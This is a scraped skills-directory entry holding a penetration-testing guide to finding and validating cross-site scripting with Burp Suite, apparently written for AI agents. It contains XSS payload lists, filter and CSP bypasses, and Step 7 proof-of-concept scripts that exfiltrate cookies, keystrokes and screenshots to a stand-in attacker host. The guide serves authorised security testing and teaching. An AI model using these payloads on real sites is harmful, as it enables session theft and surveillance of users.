[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGBPDBS8RY2R81W3JR82SN":3,"skill-same:01M6AGBPDBS8RY2R81W3JR82SN":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":68,"repositoryHtmlUrl":69,"repositoryHomepageUrl":70,"ownerHtmlUrl":71,"ownerBlogUrl":72,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6AGBPDBS8RY2R81W3JR82SN","testing-for-xss-vulnerabilities-with-burpsuite",null,"Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"testing for xss vulnerabilities with burpsuite","vulnerabilities","xss","burpsuite","testing","web-application-security","cross-site-scripting","web-application","application-security","t1505","web-security","t1059","Tools","scripting","owasp","penetration-testing","pr","web","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-xss-vulnerabilities-with-burpsuite\ndescription: Identifying and validating cross-site scripting vulnerabilities using\n  Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- xss\n- burpsuite\n- owasp\n- web-security\n- cross-site-scripting\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Testing for XSS Vulnerabilities with Burp Suite\n\n## When to Use\n\n- During authorized web application penetration testing to find reflected, stored, and DOM-based XSS\n- When validating XSS findings reported by automated vulnerability scanners\n- For testing the effectiveness of Content Security Policy (CSP) and XSS filters\n- When assessing client-side security of single-page applications (SPAs)\n- During bug bounty programs targeting XSS vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written scope and rules of engagement for the target application\n- **Burp Suite Professional**: Licensed version with active scanner capabilities\n- **Browser**: Firefox or Chromium with Burp CA certificate installed\n- **FoxyProxy**: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)\n- **Target application**: Authenticated access with valid test credentials\n- **XSS payloads list**: Custom wordlist or Burp's built-in XSS payload set\n\n## Workflow\n\n### Step 1: Configure Burp Suite and Map the Application\n\nSet up the proxy and crawl the application to discover all input vectors.\n\n```\n# Burp Suite Configuration\n1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080\n2. Target > Scope: Add target domain (e.g., *.target.example.com)\n3. Dashboard > New Scan > Crawl only > Select target URL\n4. Enable \"Passive scanning\" in Dashboard settings\n\n# Browser Setup\n- Install Burp CA: http:\u002F\u002Fburpsuite → CA Certificate\n- Import certificate into browser trust store\n- Configure proxy: 127.0.0.1:8080\n- Browse the application manually to build the site map\n```\n\n### Step 2: Identify Reflection Points with Burp Repeater\n\nSend requests to Repeater and inject unique canary strings to find where user input is reflected.\n\n```\n# In Burp Repeater, inject a unique canary string into each parameter:\nGET \u002Fsearch?q=xsscanary12345 HTTP\u002F1.1\nHost: target.example.com\n\n# Check the response for reflections of the canary:\n# Search response body for \"xsscanary12345\"\n# Note the context: HTML body, attribute, JavaScript, URL, etc.\n\n# Test multiple injection contexts:\n# HTML body: \u003Cp>Results for: xsscanary12345\u003C\u002Fp>\n# Attribute: \u003Cinput value=\"xsscanary12345\">\n# JavaScript: var search = \"xsscanary12345\";\n# URL context: \u003Ca href=\"\u002Fpage?q=xsscanary12345\">\n\n# Test with HTML special characters to check encoding:\nGET \u002Fsearch?q=xss\u003C>\"'&\u002F HTTP\u002F1.1\nHost: target.example.com\n# Check which characters are reflected unencoded\n```\n\n### Step 3: Test Reflected XSS with Context-Specific Payloads\n\nBased on the reflection context, craft targeted XSS payloads.\n\n```\n# HTML Body Context - Basic payload\nGET \u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\n\n# HTML Attribute Context - Break out of attribute\nGET \u002Fsearch?q=\" onfocus=alert(document.domain) autofocus=\" HTTP\u002F1.1\nHost: target.example.com\n\n# JavaScript String Context - Break out of string\nGET \u002Fsearch?q=';alert(document.domain)\u002F\u002F HTTP\u002F1.1\nHost: target.example.com\n\n# Event Handler Context - Use alternative events\nGET \u002Fsearch?q=\u003Cimg src=x onerror=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# SVG Context\nGET \u002Fsearch?q=\u003Csvg onload=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# If angle brackets are filtered, try encoding:\nGET \u002Fsearch?q=%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E HTTP\u002F1.1\nHost: target.example.com\n```\n\n### Step 4: Test Stored XSS via Burp Intruder\n\nUse Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.\n\n```\n# Burp Intruder Configuration:\n# 1. Right-click request > Send to Intruder\n# 2. Positions tab: Mark the injectable parameter\n# 3. Payloads tab: Load XSS payload list\n\n# Example payload list for Intruder:\n\u003Cscript>alert(1)\u003C\u002Fscript>\n\u003Cimg src=x onerror=alert(1)>\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cbody onload=alert(1)>\n\u003Cinput onfocus=alert(1) autofocus>\n\u003Cmarquee onstart=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Cmath>\u003Cmtext>\u003Ctable>\u003Cmglyph>\u003Csvg>\u003Cmtext>\u003Ctextarea>\u003Cpath id=\"\u003C\u002Ftextarea>\u003Cimg onerror=alert(1) src=1>\">\n\">\u003Cimg src=x onerror=alert(1)>\n'-alert(1)-'\n\\'-alert(1)\u002F\u002F\n\n# In Intruder > Options > Grep - Match:\n# Add patterns: \"alert(1)\", \"onerror=\", \"\u003Cscript>\"\n# This flags responses where payloads are reflected\u002Fstored\n```\n\n### Step 5: Test DOM-based XSS\n\nIdentify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.\n\n```\n# Enable DOM Invader in Burp's embedded browser:\n# 1. Open Burp's embedded Chromium browser\n# 2. Click DOM Invader extension icon > Enable\n# 3. Set canary value (e.g., \"domxss\")\n\n# Common DOM XSS sinks to monitor:\n# - document.write()\n# - innerHTML\n# - outerHTML\n# - eval()\n# - setTimeout() \u002F setInterval() with string args\n# - location.href \u002F location.assign()\n# - jQuery .html() \u002F .append()\n\n# Common DOM XSS sources:\n# - location.hash\n# - location.search\n# - document.referrer\n# - window.name\n# - postMessage data\n\n# Test URL fragment-based DOM XSS:\nhttps:\u002F\u002Ftarget.example.com\u002Fpage#\u003Cimg src=x onerror=alert(1)>\n\n# Test via document.referrer:\n# Create a page that links to the target with XSS in the referrer\n```\n\n### Step 6: Bypass XSS Filters and CSP\n\nWhen basic payloads are blocked, use advanced techniques to bypass protections.\n\n```\n# CSP Analysis - Check response headers:\nContent-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com\n\n# Common CSP bypasses:\n# If 'unsafe-inline' is allowed:\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Filter bypass techniques:\n# Case variation: \u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n# Null bytes: \u003Cscr%00ipt>alert(1)\u003C\u002Fscript>\n# Double encoding: %253Cscript%253Ealert(1)%253C\u002Fscript%253E\n# HTML entities: \u003Cimg src=x onerror=alert(1)>\n# Unicode escapes: \u003Cscript>\\u0061lert(1)\u003C\u002Fscript>\n\n# Use Burp Suite > BApp Store > Install \"Hackvertor\"\n# Encode payloads with Hackvertor tags:\n# \u003C@hex_entities>alert(document.domain)\u003C@\u002Fhex_entities>\n```\n\n### Step 7: Validate Impact and Document Findings\n\nConfirm exploitability and document the full attack chain.\n\n```\n# Proof of Concept payload that demonstrates real impact:\n# Cookie theft:\n\u003Cscript>\nfetch('https:\u002F\u002Fattacker-server.example.com\u002Fsteal?c='+document.cookie)\n\u003C\u002Fscript>\n\n# Session hijacking via XSS:\n\u003Cscript>\nnew Image().src='https:\u002F\u002Fattacker-server.example.com\u002Flog?cookie='+document.cookie;\n\u003C\u002Fscript>\n\n# Keylogger payload (demonstrates impact severity):\n\u003Cscript>\ndocument.onkeypress=function(e){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fkeys?k='+e.key);\n}\n\u003C\u002Fscript>\n\n# Screenshot capture using html2canvas (stored XSS impact):\n\u003Cscript src=\"https:\u002F\u002Fhtml2canvas.hertzen.com\u002Fdist\u002Fhtml2canvas.min.js\">\u003C\u002Fscript>\n\u003Cscript>\nhtml2canvas(document.body).then(function(canvas){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fscreen',{\n    method:'POST',body:canvas.toDataURL()\n  });\n});\n\u003C\u002Fscript>\n\n# Document each finding with:\n# - URL and parameter\n# - Payload used\n# - Screenshot of alert\u002Fexecution\n# - Impact assessment\n# - Reproduction steps\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Reflected XSS** | Payload is included in the server response immediately from the current HTTP request |\n| **Stored XSS** | Payload is persisted on the server (database, file) and served to other users |\n| **DOM-based XSS** | Payload is processed entirely client-side by JavaScript without server reflection |\n| **XSS Sink** | A JavaScript function or DOM property that executes or renders untrusted input |\n| **XSS Source** | A location where attacker-controlled data enters the client-side application |\n| **CSP** | Content Security Policy header that restricts which scripts can execute on a page |\n| **Context-aware encoding** | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |\n| **Mutation XSS (mXSS)** | XSS that exploits browser HTML parser inconsistencies during DOM serialization |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Primary testing platform with scanner, intruder, repeater, and DOM Invader |\n| **DOM Invader** | Burp's built-in browser extension for DOM XSS testing |\n| **Hackvertor** | Burp BApp for advanced payload encoding and transformation |\n| **XSS Hunter** | Blind XSS detection platform that captures execution evidence |\n| **Dalfox** | CLI-based XSS scanner with parameter analysis (`go install github.com\u002Fhahwul\u002Fdalfox\u002Fv2@latest`) |\n| **CSP Evaluator** | Google tool for analyzing Content Security Policy effectiveness |\n\n## Common Scenarios\n\n### Scenario 1: Search Function Reflected XSS\nA search page reflects the query parameter in the results heading without encoding. Inject `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` in the search parameter and demonstrate cookie theft via reflected XSS.\n\n### Scenario 2: Comment System Stored XSS\nA blog comment form sanitizes `\u003Cscript>` tags but allows `\u003Cimg>` tags. Use `\u003Cimg src=x onerror=alert(document.domain)>` to achieve stored XSS that fires for every visitor loading the page.\n\n### Scenario 3: SPA with DOM-based XSS\nA React\u002FAngular SPA reads `window.location.hash` and injects it into the DOM via `innerHTML`. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.\n\n### Scenario 4: XSS Behind WAF with Strict CSP\nA WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.\n\n## Output Format\n\n```\n## XSS Vulnerability Finding\n\n**Vulnerability**: Stored Cross-Site Scripting (XSS)\n**Severity**: High (CVSS 8.1)\n**Location**: POST \u002Fapi\u002Fcomments → `body` parameter\n**Type**: Stored XSS\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fblog\u002Fpost\u002F123\n2. Submit a comment with body: \u003Cimg src=x onerror=alert(document.domain)>\n3. Reload the page; the payload executes in the browser\n\n### Impact\n- Session hijacking via cookie theft for all users viewing the page\n- Account takeover through session token exfiltration\n- Defacement of the blog post page\n- Phishing via injected login forms\n\n### CSP Status\n- No Content-Security-Policy header present\n- X-XSS-Protection header not set\n\n### Recommendation\n1. Implement context-aware output encoding (HTML entity encoding for HTML context)\n2. Deploy Content Security Policy with strict nonce-based script allowlisting\n3. Use DOMPurify library for sanitizing user-generated HTML content\n4. Set HttpOnly and Secure flags on session cookies\n5. Add X-Content-Type-Options: nosniff header\n```\n","# Testing for XSS Vulnerabilities with Burp Suite\n\n## When to Use\n\n- During authorized web application penetration testing to find reflected, stored, and DOM-based XSS\n- When validating XSS findings reported by automated vulnerability scanners\n- For testing the effectiveness of Content Security Policy (CSP) and XSS filters\n- When assessing client-side security of single-page applications (SPAs)\n- During bug bounty programs targeting XSS vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written scope and rules of engagement for the target application\n- **Burp Suite Professional**: Licensed version with active scanner capabilities\n- **Browser**: Firefox or Chromium with Burp CA certificate installed\n- **FoxyProxy**: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)\n- **Target application**: Authenticated access with valid test credentials\n- **XSS payloads list**: Custom wordlist or Burp's built-in XSS payload set\n\n## Workflow\n\n### Step 1: Configure Burp Suite and Map the Application\n\nSet up the proxy and crawl the application to discover all input vectors.\n\n```\n# Burp Suite Configuration\n1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080\n2. Target > Scope: Add target domain (e.g., *.target.example.com)\n3. Dashboard > New Scan > Crawl only > Select target URL\n4. Enable \"Passive scanning\" in Dashboard settings\n\n# Browser Setup\n- Install Burp CA: http:\u002F\u002Fburpsuite → CA Certificate\n- Import certificate into browser trust store\n- Configure proxy: 127.0.0.1:8080\n- Browse the application manually to build the site map\n```\n\n### Step 2: Identify Reflection Points with Burp Repeater\n\nSend requests to Repeater and inject unique canary strings to find where user input is reflected.\n\n```\n# In Burp Repeater, inject a unique canary string into each parameter:\nGET \u002Fsearch?q=xsscanary12345 HTTP\u002F1.1\nHost: target.example.com\n\n# Check the response for reflections of the canary:\n# Search response body for \"xsscanary12345\"\n# Note the context: HTML body, attribute, JavaScript, URL, etc.\n\n# Test multiple injection contexts:\n# HTML body: \u003Cp>Results for: xsscanary12345\u003C\u002Fp>\n# Attribute: \u003Cinput value=\"xsscanary12345\">\n# JavaScript: var search = \"xsscanary12345\";\n# URL context: \u003Ca href=\"\u002Fpage?q=xsscanary12345\">\n\n# Test with HTML special characters to check encoding:\nGET \u002Fsearch?q=xss\u003C>\"'&\u002F HTTP\u002F1.1\nHost: target.example.com\n# Check which characters are reflected unencoded\n```\n\n### Step 3: Test Reflected XSS with Context-Specific Payloads\n\nBased on the reflection context, craft targeted XSS payloads.\n\n```\n# HTML Body Context - Basic payload\nGET \u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\n\n# HTML Attribute Context - Break out of attribute\nGET \u002Fsearch?q=\" onfocus=alert(document.domain) autofocus=\" HTTP\u002F1.1\nHost: target.example.com\n\n# JavaScript String Context - Break out of string\nGET \u002Fsearch?q=';alert(document.domain)\u002F\u002F HTTP\u002F1.1\nHost: target.example.com\n\n# Event Handler Context - Use alternative events\nGET \u002Fsearch?q=\u003Cimg src=x onerror=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# SVG Context\nGET \u002Fsearch?q=\u003Csvg onload=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# If angle brackets are filtered, try encoding:\nGET \u002Fsearch?q=%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E HTTP\u002F1.1\nHost: target.example.com\n```\n\n### Step 4: Test Stored XSS via Burp Intruder\n\nUse Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.\n\n```\n# Burp Intruder Configuration:\n# 1. Right-click request > Send to Intruder\n# 2. Positions tab: Mark the injectable parameter\n# 3. Payloads tab: Load XSS payload list\n\n# Example payload list for Intruder:\n\u003Cscript>alert(1)\u003C\u002Fscript>\n\u003Cimg src=x onerror=alert(1)>\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cbody onload=alert(1)>\n\u003Cinput onfocus=alert(1) autofocus>\n\u003Cmarquee onstart=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Cmath>\u003Cmtext>\u003Ctable>\u003Cmglyph>\u003Csvg>\u003Cmtext>\u003Ctextarea>\u003Cpath id=\"\u003C\u002Ftextarea>\u003Cimg onerror=alert(1) src=1>\">\n\">\u003Cimg src=x onerror=alert(1)>\n'-alert(1)-'\n\\'-alert(1)\u002F\u002F\n\n# In Intruder > Options > Grep - Match:\n# Add patterns: \"alert(1)\", \"onerror=\", \"\u003Cscript>\"\n# This flags responses where payloads are reflected\u002Fstored\n```\n\n### Step 5: Test DOM-based XSS\n\nIdentify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.\n\n```\n# Enable DOM Invader in Burp's embedded browser:\n# 1. Open Burp's embedded Chromium browser\n# 2. Click DOM Invader extension icon > Enable\n# 3. Set canary value (e.g., \"domxss\")\n\n# Common DOM XSS sinks to monitor:\n# - document.write()\n# - innerHTML\n# - outerHTML\n# - eval()\n# - setTimeout() \u002F setInterval() with string args\n# - location.href \u002F location.assign()\n# - jQuery .html() \u002F .append()\n\n# Common DOM XSS sources:\n# - location.hash\n# - location.search\n# - document.referrer\n# - window.name\n# - postMessage data\n\n# Test URL fragment-based DOM XSS:\nhttps:\u002F\u002Ftarget.example.com\u002Fpage#\u003Cimg src=x onerror=alert(1)>\n\n# Test via document.referrer:\n# Create a page that links to the target with XSS in the referrer\n```\n\n### Step 6: Bypass XSS Filters and CSP\n\nWhen basic payloads are blocked, use advanced techniques to bypass protections.\n\n```\n# CSP Analysis - Check response headers:\nContent-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com\n\n# Common CSP bypasses:\n# If 'unsafe-inline' is allowed:\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Filter bypass techniques:\n# Case variation: \u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n# Null bytes: \u003Cscr%00ipt>alert(1)\u003C\u002Fscript>\n# Double encoding: %253Cscript%253Ealert(1)%253C\u002Fscript%253E\n# HTML entities: \u003Cimg src=x onerror=alert(1)>\n# Unicode escapes: \u003Cscript>\\u0061lert(1)\u003C\u002Fscript>\n\n# Use Burp Suite > BApp Store > Install \"Hackvertor\"\n# Encode payloads with Hackvertor tags:\n# \u003C@hex_entities>alert(document.domain)\u003C@\u002Fhex_entities>\n```\n\n### Step 7: Validate Impact and Document Findings\n\nConfirm exploitability and document the full attack chain.\n\n```\n# Proof of Concept payload that demonstrates real impact:\n# Cookie theft:\n\u003Cscript>\nfetch('https:\u002F\u002Fattacker-server.example.com\u002Fsteal?c='+document.cookie)\n\u003C\u002Fscript>\n\n# Session hijacking via XSS:\n\u003Cscript>\nnew Image().src='https:\u002F\u002Fattacker-server.example.com\u002Flog?cookie='+document.cookie;\n\u003C\u002Fscript>\n\n# Keylogger payload (demonstrates impact severity):\n\u003Cscript>\ndocument.onkeypress=function(e){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fkeys?k='+e.key);\n}\n\u003C\u002Fscript>\n\n# Screenshot capture using html2canvas (stored XSS impact):\n\u003Cscript src=\"https:\u002F\u002Fhtml2canvas.hertzen.com\u002Fdist\u002Fhtml2canvas.min.js\">\u003C\u002Fscript>\n\u003Cscript>\nhtml2canvas(document.body).then(function(canvas){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fscreen',{\n    method:'POST',body:canvas.toDataURL()\n  });\n});\n\u003C\u002Fscript>\n\n# Document each finding with:\n# - URL and parameter\n# - Payload used\n# - Screenshot of alert\u002Fexecution\n# - Impact assessment\n# - Reproduction steps\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Reflected XSS** | Payload is included in the server response immediately from the current HTTP request |\n| **Stored XSS** | Payload is persisted on the server (database, file) and served to other users |\n| **DOM-based XSS** | Payload is processed entirely client-side by JavaScript without server reflection |\n| **XSS Sink** | A JavaScript function or DOM property that executes or renders untrusted input |\n| **XSS Source** | A location where attacker-controlled data enters the client-side application |\n| **CSP** | Content Security Policy header that restricts which scripts can execute on a page |\n| **Context-aware encoding** | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |\n| **Mutation XSS (mXSS)** | XSS that exploits browser HTML parser inconsistencies during DOM serialization |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Primary testing platform with scanner, intruder, repeater, and DOM Invader |\n| **DOM Invader** | Burp's built-in browser extension for DOM XSS testing |\n| **Hackvertor** | Burp BApp for advanced payload encoding and transformation |\n| **XSS Hunter** | Blind XSS detection platform that captures execution evidence |\n| **Dalfox** | CLI-based XSS scanner with parameter analysis (`go install github.com\u002Fhahwul\u002Fdalfox\u002Fv2@latest`) |\n| **CSP Evaluator** | Google tool for analyzing Content Security Policy effectiveness |\n\n## Common Scenarios\n\n### Scenario 1: Search Function Reflected XSS\nA search page reflects the query parameter in the results heading without encoding. Inject `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` in the search parameter and demonstrate cookie theft via reflected XSS.\n\n### Scenario 2: Comment System Stored XSS\nA blog comment form sanitizes `\u003Cscript>` tags but allows `\u003Cimg>` tags. Use `\u003Cimg src=x onerror=alert(document.domain)>` to achieve stored XSS that fires for every visitor loading the page.\n\n### Scenario 3: SPA with DOM-based XSS\nA React\u002FAngular SPA reads `window.location.hash` and injects it into the DOM via `innerHTML`. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.\n\n### Scenario 4: XSS Behind WAF with Strict CSP\nA WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.\n\n## Output Format\n\n```\n## XSS Vulnerability Finding\n\n**Vulnerability**: Stored Cross-Site Scripting (XSS)\n**Severity**: High (CVSS 8.1)\n**Location**: POST \u002Fapi\u002Fcomments → `body` parameter\n**Type**: Stored XSS\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fblog\u002Fpost\u002F123\n2. Submit a comment with body: \u003Cimg src=x onerror=alert(document.domain)>\n3. Reload the page; the payload executes in the browser\n\n### Impact\n- Session hijacking via cookie theft for all users viewing the page\n- Account takeover through session token exfiltration\n- Defacement of the blog post page\n- Phishing via injected login forms\n\n### CSP Status\n- No Content-Security-Policy header present\n- X-XSS-Protection header not set\n\n### Recommendation\n1. Implement context-aware output encoding (HTML entity encoding for HTML context)\n2. Deploy Content Security Policy with strict nonce-based script allowlisting\n3. Use DOMPurify library for sanitizing user-generated HTML content\n4. Set HttpOnly and Secure flags on session cookies\n5. Add X-Content-Type-Options: nosniff header\n```\n",{"name":5,"tags":52,"author":53,"domain":45,"license":15,"version":54,"nist_csf":55,"subdomain":32,"description":7,"mitre_attack":60},[42,29,30,41,37,33],"mahipal","1.0",[56,57,58,59],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[61,62,63,64],"T1190","T1059.007","T1505.003","T1083","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities-with-burpsuite",{"tool":81,"command":82},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities-with-burpsuite",{"tool":84,"command":85},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities-with-burpsuite","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002FSKILL.md",true,[89,94,100,106],{"path":90,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002FLICENSE",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fapi-reference.md","REFERENCE","参考文档",2095,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002Freferences\u002Fapi-reference.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",8245,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xss-vulnerabilities-with-burpsuite\u002Fscripts\u002Fagent.py",{"path":107,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fscrape.py",2608,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-scraper\u002Fscripts\u002Fscrape.py",[111,136,159,184,210,236],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":118,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[117],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[119,120,121,122,46,45,123,124,43,125,126,127,128,129,130,131,132,133,134,135],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":140,"categories":141,"keywords":143,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet 